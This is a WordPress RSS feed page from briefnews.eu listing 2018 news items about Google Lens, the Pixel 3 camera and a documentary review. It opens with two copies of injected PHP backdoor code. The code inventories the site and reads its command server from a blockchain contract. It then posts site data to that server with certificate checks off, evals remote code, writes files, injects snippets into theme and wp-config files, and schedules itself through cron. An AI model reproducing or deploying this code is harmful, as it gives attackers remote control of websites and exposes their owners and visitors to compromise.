// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); lens – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 11 Dec 2018 03:09:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png lens – Brief News https://briefnews.eu 32 32 Google adds Lens to its iOS search app https://briefnews.eu/google-adds-lens-to-its-ios-search-app/ https://briefnews.eu/google-adds-lens-to-its-ios-search-app/#respond Tue, 11 Dec 2018 03:09:19 +0000 http://briefnews.eu/google-adds-lens-to-its-ios-search-app/

You no longer have to fire up Google Photos if you want to use Lens searches on your iPhone. Google has rolled the AI-based feature into its iOS search app, putting it in a more logical place than your image library. Tap the Lens icon in the search bar and you can point your device camera at books, bottles, pets and various other objects to get more answers about what you see. You can tell Lens to look at your existing images or turn on the flash when it’s too dark.

The feature is starting to deploy in earnest as we write this, so don’t despair if you don’t see it right away. Whenever you get Lens, it’ll likely be welcome if you’ve wanted availability that’s more comparable to what you find on Android.

Via: 9to5Google

Source: App Store, Google (Twitter)

]]>
https://briefnews.eu/google-adds-lens-to-its-ios-search-app/feed/ 0
How Google Pixel 3’s Camera Works Wonders With Just One Rear Lens https://briefnews.eu/how-google-pixel-3s-camera-works-wonders-with-just-one-rear-lens/ https://briefnews.eu/how-google-pixel-3s-camera-works-wonders-with-just-one-rear-lens/#respond Wed, 10 Oct 2018 07:13:42 +0000 http://briefnews.eu/how-google-pixel-3s-camera-works-wonders-with-just-one-rear-lens/ Google uses machine learning and AI to power new camera features, like Top Shot, Night Sight, and Photobooth.


https://media.wired.com/photos/5bbbf1c84bb3fa2ced830a87/master/pass/pixel3camera.jpg

]]>
https://briefnews.eu/how-google-pixel-3s-camera-works-wonders-with-just-one-rear-lens/feed/ 0
The Blasey Ford-Kavanaugh Hearings Through the Lens of One Woman https://briefnews.eu/the-blasey-ford-kavanaugh-hearings-through-the-lens-of-one-woman/ https://briefnews.eu/the-blasey-ford-kavanaugh-hearings-through-the-lens-of-one-woman/#respond Fri, 28 Sep 2018 01:46:48 +0000 http://briefnews.eu/the-blasey-ford-kavanaugh-hearings-through-the-lens-of-one-woman/ When Christine Blasey Ford spoke to the Senate Judiciary Committee on Thursday morning, Erin Schaff was one of the few photographers in the room


https://media.wired.com/photos/5bad75227fefbf3d4e78e28b/master/pass/KavanaughHearing-1041686608.jpg

]]>
https://briefnews.eu/the-blasey-ford-kavanaugh-hearings-through-the-lens-of-one-woman/feed/ 0
Striking photo shows a member of Trump’s entourage blocking a news photographer’s camera lens during Indiana rally https://briefnews.eu/striking-photo-shows-a-member-of-trumps-entourage-blocking-a-news-photographers-camera-lens-during-indiana-rally/ https://briefnews.eu/striking-photo-shows-a-member-of-trumps-entourage-blocking-a-news-photographers-camera-lens-during-indiana-rally/#respond Fri, 31 Aug 2018 03:16:32 +0000 http://briefnews.eu/striking-photo-shows-a-member-of-trumps-entourage-blocking-a-news-photographers-camera-lens-during-indiana-rally/ trump rallyEvan Vucci/AP

  • One of President Donald Trump’s staffers blocked a news photographer’s camera lens as the journalist tried to take a photo of a protester during a campaign rally in Evansville, Indiana.
  • Protesters interrupted Trump’s speech several times on Thursday night.
  • Trump railed against the news media, as he is known to do at the typically raucous campaign events.
  • “And now tomorrow, you’re gonna read headlines, ‘Trump had protesters all over the place,'” Trump said during his speech, after a protester interrupted him and was escorted out.
  • “One person, major protest. But are they going to talk about the thousands and thousands of people inside of this arena and outside of the arena where we put screens? No.”

NOW WATCH: Meet the woman behind Trump’s $ 20 million merch empire

See Also:

SEE ALSO: Trump’s ‘unhinged rant’ threw China under the bus — and it looks like North Korea now has the upper hand

]]>
https://briefnews.eu/striking-photo-shows-a-member-of-trumps-entourage-blocking-a-news-photographers-camera-lens-during-indiana-rally/feed/ 0
When in Nature, Google Lens Does What the Human Brain Can’t https://briefnews.eu/when-in-nature-google-lens-does-what-the-human-brain-cant/ https://briefnews.eu/when-in-nature-google-lens-does-what-the-human-brain-cant/#respond Mon, 30 Jul 2018 10:28:15 +0000 http://briefnews.eu/when-in-nature-google-lens-does-what-the-human-brain-cant/ The visual search tool can identify a California poppy or Pacific poison oak with a single photo, bringing you deeper into the nature around you.


https://media.wired.com/photos/5b5ba038e489c313affed871/master/pass/When%20in%20Nature,%20Google%20Lens%20Does%20What%20the%20Human%20Brain%20Can%E2%80%99t.jpg

]]>
https://briefnews.eu/when-in-nature-google-lens-does-what-the-human-brain-cant/feed/ 0
‘People’s Republic of Desire’ Turns Its Lens On China’s Live-Streaming Culture [Fantasia Film Festival] https://briefnews.eu/peoples-republic-of-desire-turns-its-lens-on-chinas-live-streaming-culture-fantasia-film-festival/ https://briefnews.eu/peoples-republic-of-desire-turns-its-lens-on-chinas-live-streaming-culture-fantasia-film-festival/#respond Wed, 18 Jul 2018 20:04:53 +0000 http://briefnews.eu/peoples-republic-of-desire-turns-its-lens-on-chinas-live-streaming-culture-fantasia-film-festival/ People's Republic of Desire

If you’re anything like me and the thought that you’ve accidentally Instagram Live-d your makeup routine induces sudden nausea, than making a living by live-streaming is probably not one of your career goals. But for the subjects of Hao Wu‘s documentary People’s Republic of Desire, live-streaming isn’t just how they make their living, it’s how they make up their sense of self. Though I am unable to get past my inhibitions, I will gladly watch other people sit on their couch and answer the questions that roll in on the screen. It’s become increasingly easier to check out of your life for a moment and check in to someone else’s. But the line between voyeurism and escapism is a thin one that is barely toed by the subjects in Wu’s documentary.

People’s Republic narrows its focus to two young hosts on a live-streaming social network called YY. There is no comparable equivalent in North America (Sean Parker’s Airtime never really broke through), but in China it is frequented by over 300 million users and hosts can make upwards of $ 20,000 a month if they tap into the right demographic. From the glimpses we get of it in the documentary, karaoke and comedic bits are the main forms of entertainment on the site.

A lot of the comedy and basic allure of the social network gets lost in translation. For instance, former nurse and now full-time YY host Shen Man has a pleasant voice, but doesn’t appear to have the kind of charisma or vocal ability to suggest a star in the making. And Big Li, with his boisterous rants and playful bits, comes across a man-child whose appeal lies in his ordinariness. In fact, many of his devoted fans are self-described diaosi, a label that denotes working class “losers.” These diaosi worship Shen Man and Big Li and tip them with what little money they have in the hopes of getting a shout-out live on air. Unlike a gambling habit that partially hinges on the hope that you will make a fortune, these super-fans are essentially donating money they don’t have in order to feel apart of an experience they’ve given up hope of achieving. It’s a shame then, that Wu doesn’t devote more time to these loyal blue-collar fans.

People's Republic of Desire 2

But what he does focus on is worthy of attention and, well, alarm. The filmmaker does not present technology as an equalizing tool that permits poor, hard-working people to achieve fortune and fame, or even modest income. Rather, he takes the Black Mirror approach. There are numerous snippets in which fans and hosts confess to feeling “disconnected” and “lonely,” which feels too on the nose at times. But that’s mostly due to the fact that they feel like soundbites, rather than deeper explorations of their experiences online. Later, disturbing anecdotes about hosts live-streaming their suicide attempts and subsequent recovery end up feeling tacked on for shock value. But the film is certainly ambitious in its scope as it tries to piece together the sometimes odious world of live-streaming.

The main thrust of Wu’s film is the marketplace at the centre of YY. Unlike Twitter and Instagram celebrities, the follower/host relationship is markedly transactional. For many, that exchange is the main attraction. Many diaosi describe their marvel at watching big donors give away hundreds of thousands, if not millions in one go. And those big donors love feeling in control of the hosts they give to. The documentary doesn’t get too specific, but the donors seem to suggest that they can make certain demands of the hosts they give to, some of them sexual. Indeed, YY bears a lot of resemblance to camming, but the sex happens off-screen.

The film’s last third is centered around an annual tournament for the hosts. Whomever can accumulate the most money and votes wins. Wu is keen to point out (as he does many times) that hosts can lose money of their own. But they continue to buy their own votes, some of them participating in the tournament year after year, out of desperation. If you want to win, you have to put your skin in the game – sometimes literally.

Pointing out the blurred lines between offline and online has become as cliche as pointing out the blurred lines between fiction and documentary. What is real and what is performed can seem irrelevant when both get equal attention. But when Wu begins the film in a training camp for live-streaming hosts, why does he leave so suddenly? Why can’t we share in what these wannabe hosts learn about presenting themselves to the webcam?

/Film Rating: 7 out of 10

The post ‘People’s Republic of Desire’ Turns Its Lens On China’s Live-Streaming Culture [Fantasia Film Festival] appeared first on /Film.

]]>
https://briefnews.eu/peoples-republic-of-desire-turns-its-lens-on-chinas-live-streaming-culture-fantasia-film-festival/feed/ 0
Small-Town America Through the Lens of an Immigrant https://briefnews.eu/small-town-america-through-the-lens-of-an-immigrant/ https://briefnews.eu/small-town-america-through-the-lens-of-an-immigrant/#respond Thu, 05 Jul 2018 09:18:39 +0000 http://briefnews.eu/small-town-america-through-the-lens-of-an-immigrant/ Since 2015, photographer Niko Kallianiotis has chronicled the beauty and flaws of his adoptive state of Pennsylvania.


https://media.wired.com/photos/5b3285ca87588d56121bdcd8/master/pass/NikoKallianiotis_1.jpg

]]>
https://briefnews.eu/small-town-america-through-the-lens-of-an-immigrant/feed/ 0
